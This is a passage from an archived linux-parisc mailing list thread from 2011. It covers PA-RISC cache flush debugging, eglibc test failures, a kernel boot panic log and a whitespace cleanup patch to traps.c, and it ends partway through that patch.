	Fri, 5 Aug 2011 17:44:22 -0400
Original-Received: from BLU0-SMTP86 ([65.55.111.136]) by blu0-omc4-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 5 Aug 2011 14:44:21 -0700
X-Originating-IP: [69.158.173.138]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.138]) by BLU0-SMTP86.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 5 Aug 2011 14:44:19 -0700
In-Reply-To: <2F6A03B7-0729-4774-AD1F-5D3C571DE51D@bell.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Aug 2011 21:44:20.0148 (UTC) FILETIME=[D51DA740:01CC53B8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3902>


On 24-Jul-11, at 4:30 PM, John David Anglin wrote:

>
> On 24-Jul-11, at 2:42 PM, Carlos O'Donell wrote:
>
>> On Fri, Jul 22, 2011 at 5:51 PM, John David Anglin <dave.anglin@bell.net 
>> > wrote:
>>> Do you have a userspace patch?  There was the thread stack  
>>> allocation bug
>>> and possibly futex related issues.
>>
>> I do have a userspace patch, what would you like the patch against?
>
> The current version is unstable or 2.11.2-10.


I think we need a patch against the current unstable version (2.13-13).

I have been trying to fix the HPMCs caused by flush_cache_range.  I  
have modified it to
use flush_cache_page.  This didn't fix the HPMCs, so I added a check  
for inequivalent
aliases along the lines as that in flush_dcache_page.  Without that,  
I'm seeing warnings
like the following:

INEQUIVALENT ALIASES 0x40095000 and 0x40096000 in file pam_deny.so
INEQUIVALENT ALIASES 0x40096000 and 0x40095000 in file pam_deny.so
INEQUIVALENT ALIASES 0x40095000 and 0x40096000 in file pam_deny.so
INEQUIVALENT ALIASES 0x40096000 and 0x40095000 in file pam_deny.so
INEQUIVALENT ALIASES 0x40095000 and 0x40096000 in file pam_deny.so
INEQUIVALENT ALIASES 0x40092000 and 0x40093000 in file pam_permit.so
INEQUIVALENT ALIASES 0x40093000 and 0x40092000 in file pam_permit.so
INEQUIVALENT ALIASES 0x40092000 and 0x40093000 in file pam_permit.so
INEQUIVALENT ALIASES 0x40093000 and 0x40092000 in file pam_permit.so
INEQUIVALENT ALIASES 0x40092000 and 0x40093000 in file pam_permit.so
INEQUIVALENT ALIASES 0x40707000 and 0x40708000 in file pam_env.so
INEQUIVALENT ALIASES 0x4008b000 and 0x4008c000 in file pam_limits.so

I tried rebuilding pam from source but the only version I could find  
is 1.1.3-2.  It has
a dependency on multiarch-support.  While it builds, it won't install.
multiarch-support appears to be provided by eglibc 2.13.

I'm hoping this is the cause of the HPMCs as the messages appear  
somewhat randomly.

Another issue that I saw in debugging flush_cache_range is that it is  
sometimes
called with "64-bit" ranges.  There are no pte's and probably no page  
table for these
flushes.  Here's an example:

vm_start 0xfb0e9000, vm_end 0x7fff1001000
start 0x7fff0fff000, end 0x7fff1001000, cr25 0x3c376000
sr0 0x0, sr1 0x0, sr2 0x0, sr3 0x800
sr4 0x0, sr5 0x0, sr6 0x0, sr7 0x0

The first call and some occasional subsequent calls have this wierd  
range.

I am currently building 2.13 and will see what needs fixing.

Dave

--
John David Anglin	dave.anglin@bell.net


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Sat, 6 Aug 2011 11:33:44 -0400
Lines: 72
Approved: news@gmane.org
Message-ID: <BLU0-SMTP45D898F67A78AB9E546B37973F0@phx.gbl>
References: <4E177624.1030500@systemhalted.org> <201107081742.48874.vapier@gentoo.org> <4E1780EE.1010405@systemhalted.org> <BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl> <CADZpyixCFm7YUfihEJs+eR+gyUcw+S_ty+v4w2bK2s0jMFwUQg@mail.gmail.com> <2F6A03B7-0729-4774-AD1F-5D3C571DE51D@bell.net> <BLU0-SMTP8613717861B7E5D22BB762973C0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312644850 16712 80.91.229.12 (6 Aug 2011 15:34:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 6 Aug 2011 15:34:10 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Mike Frysinger <vapier@gentoo.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 06 17:34:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qpit1-0003UU-Tp
	for glpp-linux-parisc@lo.gmane.org; Sat, 06 Aug 2011 17:34:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751899Ab1HFPeD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Aug 2011 11:34:03 -0400
Original-Received: from blu0-omc4-s25.blu0.hotmail.com ([65.55.111.164]:35864 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751648Ab1HFPeC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Aug 2011 11:34:02 -0400
Original-Received: from BLU0-SMTP45 ([65.55.111.137]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 6 Aug 2011 08:34:01 -0700
X-Originating-IP: [69.158.173.138]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.138]) by BLU0-SMTP45.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 6 Aug 2011 08:34:00 -0700
In-Reply-To: <BLU0-SMTP8613717861B7E5D22BB762973C0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Aug 2011 15:34:01.0173 (UTC) FILETIME=[43FCE050:01CC544E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3903>

On 5-Aug-11, at 5:44 PM, John David Anglin wrote:

> I am currently building 2.13 and will see what needs fixing.


This is what I see:

# Testsuite failures, someone should be working towards
# fixing these! They are listed here for the purpose of
# regression testing during builds.
# Format: <Failed test>, Error <Make error code> [(ignored)]
#
annexc.out, Error 1 (ignored)
check-execstack.out, Error 1
check-localplt.out, Error 1
check-textrel.out, Error 1
test-double.out, Error 1
test-float.out, Error 1
test-idouble.out, Error 1
test-ifloat.out, Error 1
tst-addr1.out, Error 1
tst-audit2.out, Error 139
tst-backtrace2.out, Error 1
tst-cancelx20.out, Error 1
tst-cancelx21.out, Error 1
tst-cancelx4.out, Error 1
tst-cancelx5.out, Error 1
tst-cleanupx4.out, Error 1
tst-cond10.out, Error 1
tst-cond18.out, Error 1
tst-cond20.out, Error 1
tst-cond21.out, Error 1
tst-cpuclock2.out, Error 1
tst-cputimer1.out, Error 1
tst-cputimer2.out, Error 1
tst-cputimer3.out, Error 1
tst-getcpu.out, Error 1
tst-longjmp_chk.out, Error 1
tst-mqueue3.out, Error 1
tst-sprofil.out, Error 137
tst-timer4.out, Error 1
tst-timer5.out, Error 1
tst-tls11.out, Error 139
tst-tls3.out, Error 1
***************
Encountered regressions that don't match expected failures:
test-double.out, Error 1
test-float.out, Error 1
test-idouble.out, Error 1
test-ifloat.out, Error 1
tst-cond10.out, Error 1
tst-cond18.out, Error 1
tst-cond20.out, Error 1
tst-cond21.out, Error 1
tst-sprofil.out, Error 137
tst-tls11.out, Error 139
tst-tls3.out, Error 1
make: *** [/home/dave/debian/multiarch-support/eglibc-2.13/stamp-dir/ 
check_libc] Error 1
dpkg-buildpackage: error: debian/rules build gave error exit status 2

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Mon, 8 Aug 2011 20:47:23 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <BLU0-SMTP53E51639EBF88870A693DF97200@phx.gbl>
References: <4E177624.1030500@systemhalted.org> <201107081742.48874.vapier@gentoo.org> <4E1780EE.1010405@systemhalted.org> <BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl> <CADZpyixCFm7YUfihEJs+eR+gyUcw+S_ty+v4w2bK2s0jMFwUQg@mail.gmail.com> <2F6A03B7-0729-4774-AD1F-5D3C571DE51D@bell.net> <BLU0-SMTP8613717861B7E5D22BB762973C0@phx.gbl> <BLU0-SMTP45D898F67A78AB9E546B37973F0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312850868 30601 80.91.229.12 (9 Aug 2011 00:47:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 9 Aug 2011 00:47:48 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Mike Frysinger <vapier@gentoo.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 09 02:47:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QqaTu-0001ji-Nr
	for glpp-linux-parisc@lo.gmane.org; Tue, 09 Aug 2011 02:47:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750826Ab1HIArm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Aug 2011 20:47:42 -0400
Original-Received: from blu0-omc4-s35.blu0.hotmail.com ([65.55.111.174]:57986 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750752Ab1HIArl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Aug 2011 20:47:41 -0400
Original-Received: from BLU0-SMTP53 ([65.55.111.136]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 8 Aug 2011 17:47:41 -0700
X-Originating-IP: [69.158.173.138]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.138]) by BLU0-SMTP53.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 8 Aug 2011 17:47:40 -0700
In-Reply-To: <BLU0-SMTP45D898F67A78AB9E546B37973F0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Aug 2011 00:47:40.0806 (UTC) FILETIME=[F1421A60:01CC562D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3904>


On 6-Aug-11, at 11:33 AM, John David Anglin wrote:

> On 5-Aug-11, at 5:44 PM, John David Anglin wrote:
>
>> I am currently building 2.13 and will see what needs fixing.


For better or worse, I hacked the glibc fail list and installed  
2.13-13 with multiarch support.
This was a bit hairy because I didn't realize some of the  
dependencies.  I should have read
the debian transition wiki...

In any case, I have installed and rebuilt a bunch of stuff including  
pam.   I have my fingers
crossed that the main cache bug is fixed on my rp3440.

There are still issues and a lot of stuff to do to complete the  
transition.

nscd is still broken:
http://www.spinics.net/lists/linux-parisc/msg02195.html
I probably shouldn't have installed it.  Problem is fixed by disabling  
passwd and group caching
in conf file.  This is probably a glibc timer issue as problem goes  
away when commands are
repeated.

Multiarch support is a pain in the neck.  The debian patches to  
binutils and GCC haven't been
sent upstream, so normal GCC testing is broken (includes and libraries  
are now in target
specific directories).  I think the same is also true for glibc.   
Other packages also need to be
aware of the change.  Probably, the library universe needs completely  
rebuilding.

Currently, I'm stuck trying to build the attr package.  There seems to  
be a glibc issue with
main which causes the build to fail.  However, it might be a libtool  
issue (it probably needs
to be multiarch aware).

So, this is where we have to go to support PA-RISC debian linux.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Boot failure with 3.0.3: swapper (pid 0): Protection id trap (code 7)
Date: Fri, 19 Aug 2011 19:58:30 +0200
Lines: 294
Approved: news@gmane.org
Message-ID: <201108191958.35802.eike-kernel@sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart5216822.ezjL2bRbq4";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1313776774 13891 80.91.229.12 (19 Aug 2011 17:59:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 19 Aug 2011 17:59:34 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 19 19:59:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QuTLq-0000ci-DB
	for glpp-linux-parisc@lo.gmane.org; Fri, 19 Aug 2011 19:59:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754488Ab1HSR7Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Aug 2011 13:59:25 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:54576 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754454Ab1HSR7X (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Aug 2011 13:59:23 -0400
Original-Received: (qmail 20178 invoked from network); 19 Aug 2011 17:59:03 -0000
Original-Received: from dslb-188-108-133-180.pools.arcor-ip.net ([::ffff:188.108.133.180] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.20) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Fri, 19 Aug 2011 17:59:03 +0000
User-Agent: KMail/1.13.7 (Linux/3.0.0-39-desktop; KDE/4.6.4; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3905>

--nextPart5216822.ezjL2bRbq4
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

The last kernel I used on this machine was 2.6.38.4. Any hints appreciated.

Greetings,

Eike

Command line for kernel: 'root=3D/dev/sda3 console=3DttyS0=20
palo_kernel=3D2/kernel-3.0.3'                                              =
                                          =20
Selected kernel: /kernel-3.0.3 from partition 2                            =
                                                                           =
                    =20
ELF32 executable                                                           =
                                                                           =
                    =20
Entry 00100100 first 00100000 n 3                                          =
                                                                           =
                    =20
Segment 0 load 00100000 size 4820992 mediaptr 0x1000                       =
                                                                           =
                    =20
Segment 1 load 005c8000 size 116752 mediaptr 0x49a000                      =
                                                                           =
                    =20
Segment 2 load 005e5000 size 27888 mediaptr 0x4b7000                       =
                                                                           =
                    =20
Branching to kernel entry point 0x00100100.  If this is the last           =
                                                                           =
                    =20
message you see, you may need to switch your console.  This is             =
                                                                           =
                    =20
a common symptom -- search the FAQ and mailing list at parisc-linux.org    =
                                                                           =
                    =20
                                                                           =
                                                                           =
                    =20
Linux version 3.0.3 (root@voyager) (gcc version 4.5.3 (Gentoo 4.5.3-r1 p1.0=
,=20
pie-0.4.5) ) #1 Fri Aug 19 14:48:59 CEST 2011                              =
                  =20
unwind_init: start =3D 0x10503000, end =3D 0x1053a640, entries =3D 14180   =
                                                                           =
                          =20
WARNING: Out of order unwind entry! 105041f0 and 10504200                  =
                                                                           =
                    =20
WARNING: Out of order unwind entry! 10504200 and 10504210                  =
                                                                           =
                    =20
WARNING: Out of order unwind entry! 10504cf0 and 10504d00                  =
                                                                           =
                    =20
WARNING: Out of order unwind entry! 10504d00 and 10504d10                  =
                                                                           =
                    =20
=46P[0] enabled: Rev 1 Model 16                                            =
                                                                           =
                      =20
The 32-bit Kernel has started...                                           =
                                                                           =
                    =20
bootconsole [ttyB0] enabled                                                =
                                                                           =
                    =20
Initialized PDC Console for debugging.                                     =
                                                                           =
                    =20
Determining PDC firmware type: System Map.                                 =
                                                                           =
                    =20
model 00005cf0 00000481 00000000 00000002 77486b80 100000f0 00000008 000000=
b2=20
000000b2                                                                   =
                 =20
vers  00000301                                                             =
                                                                           =
                    =20
CPUID vers 17 rev 11 (0x0000022b)                                          =
                                                                           =
                    =20
capabilities 0x3                                                           =
                                                                           =
                    =20
model 9000/785/C3600                                                       =
                                                                           =
                    =20
Total Memory: 512 MB                                                       =
                                                                           =
                    =20
      _______________________________                                      =
                                                                           =
                    =20
     < Your System ate a SPARC! Gah! >                                     =
                                                                           =
                    =20
      -------------------------------                                      =
                                                                           =
                    =20
             \   ^__^                                                      =
                                                                           =
                    =20
                 (__)\       )\/\                                          =
                                                                           =
                    =20
                  U  ||----w |                                             =
                                                                           =
                    =20
                     ||     ||                                             =
                                                                           =
                    =20
swapper (pid 0): Protection id trap (code 7)                               =
                                                                           =
                    =20
                                                                           =
                                                                           =
                    =20
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                      =
                                                                           =
                    =20
PSW: 00000000000001000000000000001110 Not tainted                          =
                                                                           =
                    =20
r00-03  0004000e 0004000e 105caed8 00000000                                =
                                                                           =
                    =20
r04-07  10544014 10544000 105401cc 1054daf4                                =
                                                                           =
                    =20
r08-11  1054db10 10544020 10576800 000005ec                                =
                                                                           =
                    =20
r12-15  00100000 00020000 10544000 10576af8                                =
                                                                           =
                    =20
r16-19  00020000 105b7000 005ebfff 0000000e                                =
                                                                           =
                    =20
r20-23  00000000 00000000 00000000 00000000                                =
                                                                           =
                    =20
r24-27  00000001 00000000 00000000 10544000                                =
                                                                           =
                    =20
r28-31  00000000 00000000 10540280 00000000                                =
                                                                           =
                    =20
sr00-03  00000000 00000000 00000000 00000000                               =
                                                                           =
                    =20
sr04-07  00000000 00000000 00000000 00000000                               =
                                                                           =
                    =20
                                                                           =
                                                                           =
                    =20
IASQ: 00000000 00000000 IAOQ: 1010047c 10100480                            =
                                                                           =
                    =20
 IIR: 43ffff40    ISR: 00000000  IOR: 00000000                             =
                                                                           =
                    =20
 CPU:        0   CR30: 10540000 CR31: ffffffff                             =
                                                                           =
                    =20
 ORIG_R28: 00000000                                                        =
                                                                           =
                    =20
 IAOQ[0]: .L21+0x0/0x8                                                     =
                                                                           =
                    =20
 IAOQ[1]: .L21+0x4/0x8                                                     =
                                                                           =
                    =20
 RP(r2): paging_init+0x7ac/0x848                                           =
                                                                           =
                    =20
Backtrace:                                                                 =
                                                                           =
                    =20
 [<105caed8>] paging_init+0x7ac/0x848                                      =
                                                                           =
                    =20
 [<105cb474>] setup_arch+0x5c/0x80                                         =
                                                                           =
                    =20
 [<105c86ac>] start_kernel+0x80/0x374                                      =
                                                                           =
                    =20
 [<1011497c>] start_parisc+0x4c/0x68                                       =
                                                                           =
                    =20
                                                                           =
                                                                           =
                    =20
Backtrace:                                                                 =
                                                                           =
                    =20
 [<10115050>] die_if_kernel+0xac/0x1bc                                     =
                                                                           =
                    =20
 [<1011587c>] handle_interruption+0x47c/0x718                              =
                                                                           =
                    =20
 [<10104078>] intr_check_sig+0x0/0x34                                      =
                                                                           =
                    =20
 [<10100480>] .L21+0x4/0x8                                                 =
                                                                           =
                    =20
                                                                           =
                                                                           =
                    =20
=2D--[ end trace 139ce121c98e96c9 ]---                                     =
                                                                           =
                      =20
Kernel panic - not syncing: Attempted to kill the idle task!               =
                                                                           =
                    =20
Backtrace:                                                                 =
                                                                           =
                    =20
 [<1010fdec>] panic+0x90/0x23c                                             =
                                                                           =
                    =20
 [<10135b28>] do_exit+0x5cc/0x640                                          =
                                                                           =
                    =20
 [<1011508c>] die_if_kernel+0xe8/0x1bc                                     =
                                                                           =
                    =20
 [<1011587c>] handle_interruption+0x47c/0x718                              =
                                                                           =
                    =20
 [<10104078>] intr_check_sig+0x0/0x34                                      =
                                                                           =
                    =20
 [<10100480>] .L21+0x4/0x8                                                 =
                                                                           =
                    =20
                                                                           =
                                                                           =
                    =20
      _______________________________                                      =
                                                                           =
                    =20
     < Your System ate a SPARC! Gah! >                                     =
                                                                           =
                    =20
      -------------------------------                                      =
                                                                           =
                    =20
             \   ^__^                                                      =
                                                                           =
                    =20
                 (__)\       )\/\                                          =
                                                                           =
                    =20
                  U  ||----w |                                             =
                                                                           =
                    =20
                     ||     ||                                             =
                                                                           =
                    =20
swapper (pid 0): Protection id trap (code 7)                               =
                                                                           =
                    =20
die_if_kernel() recursion detected.

--nextPart5216822.ezjL2bRbq4
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)

iEYEABECAAYFAk5OpEsACgkQXKSJPmm5/E7LLwCbBWf4PeRmnRu1CJYXEInIbp9r
/PUAoJW0OFR80fZOl+rAHyB2STdz+ECE
=/A/v
-----END PGP SIGNATURE-----

--nextPart5216822.ezjL2bRbq4--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] hppa: fix whitespace errors in arch/parisc/kernel/traps.c
Date: Fri, 19 Aug 2011 20:10:53 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <201108192010.54015.eike@sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1313777494 16479 80.91.229.12 (19 Aug 2011 18:11:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 19 Aug 2011 18:11:34 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 19 20:11:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QuTXQ-0005gI-AK
	for glpp-linux-parisc@lo.gmane.org; Fri, 19 Aug 2011 20:11:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754516Ab1HSSLX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Aug 2011 14:11:23 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:56458 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754298Ab1HSSLW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Aug 2011 14:11:22 -0400
Original-Received: (qmail 10708 invoked from network); 19 Aug 2011 18:11:20 -0000
Original-Received: from dslb-188-108-133-180.pools.arcor-ip.net ([::ffff:188.108.133.180] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.20) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Fri, 19 Aug 2011 18:11:20 +0000
User-Agent: KMail/1.13.7 (Linux/3.0.0-39-desktop; KDE/4.6.4; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3906>

Things like " \t" and whitespace at end of line. I'm leaving all the other
coding style errors here alone.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/kernel/traps.c |   24 ++++++++++++------------
 1 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index f19e660..2a1ba2b 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -529,10 +529,10 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	 */
 	if (((unsigned long)regs->iaoq[0] & 3) &&
 	    ((unsigned long)regs->iasq[0] != (unsigned long)regs->sr[7])) { 
-	  	/* Kill the user process later */
-	  	regs->iaoq[0] = 0 | 3;
+		/* Kill the user process later */
+		regs->iaoq[0] = 0 | 3;
 		regs->iaoq[1] = regs->iaoq[0] + 4;
-	 	regs->iasq[0] = regs->iasq[1] = regs->sr[7];
+		regs->iasq[0] = regs->iasq[1] = regs->sr[7];
 		regs->gr[0] &= ~PSW_B;
 		return;
 	}
@@ -548,8 +548,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		
 		/* set up a new led state on systems shipped with a LED State panel */
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_HPMC);
-		    
-	    	parisc_terminate("High Priority Machine Check (HPMC)",
+
+		parisc_terminate("High Priority Machine Check (HPMC)",
 				regs, code, 0);
 		/* NOT REACHED */
 		
@@ -591,13 +591,13 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		/* Break instruction trap */
 		handle_break(regs);
 		return;
-	
+
 	case 10:
 		/* Privileged operation trap */
 		die_if_kernel("Privileged operation", regs, code);
 		si.si_code = ILL_PRVOPC;
 		goto give_sigill;
-	
+
 	case 11:
 		/* Privileged register trap */
 		if ((regs->iir & 0xffdfffe0) == 0x034008a0) {
@@ -641,7 +641,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		if(user_mode(regs)){
 			si.si_signo = SIGFPE;
 			/* Set to zero, and let the userspace app figure it out from
-		   	   the insn pointed to by si_addr */
+			   the insn pointed to by si_addr */
 			si.si_code = 0;
 			si.si_addr = (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
@@ -655,7 +655,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		die_if_kernel("Floating point exception", regs, 0); /* quiet */
 		handle_fpe(regs);
 		return;
-		
+
 	case 15:
 		/* Data TLB miss fault/Data page fault */
 		/* Fall through */
@@ -667,15 +667,15 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* FIXME: 
-		 	 Still need to add slow path emulation code here!
-		         If the insn used a non-shadow register, then the tlb
+			 Still need to add slow path emulation code here!
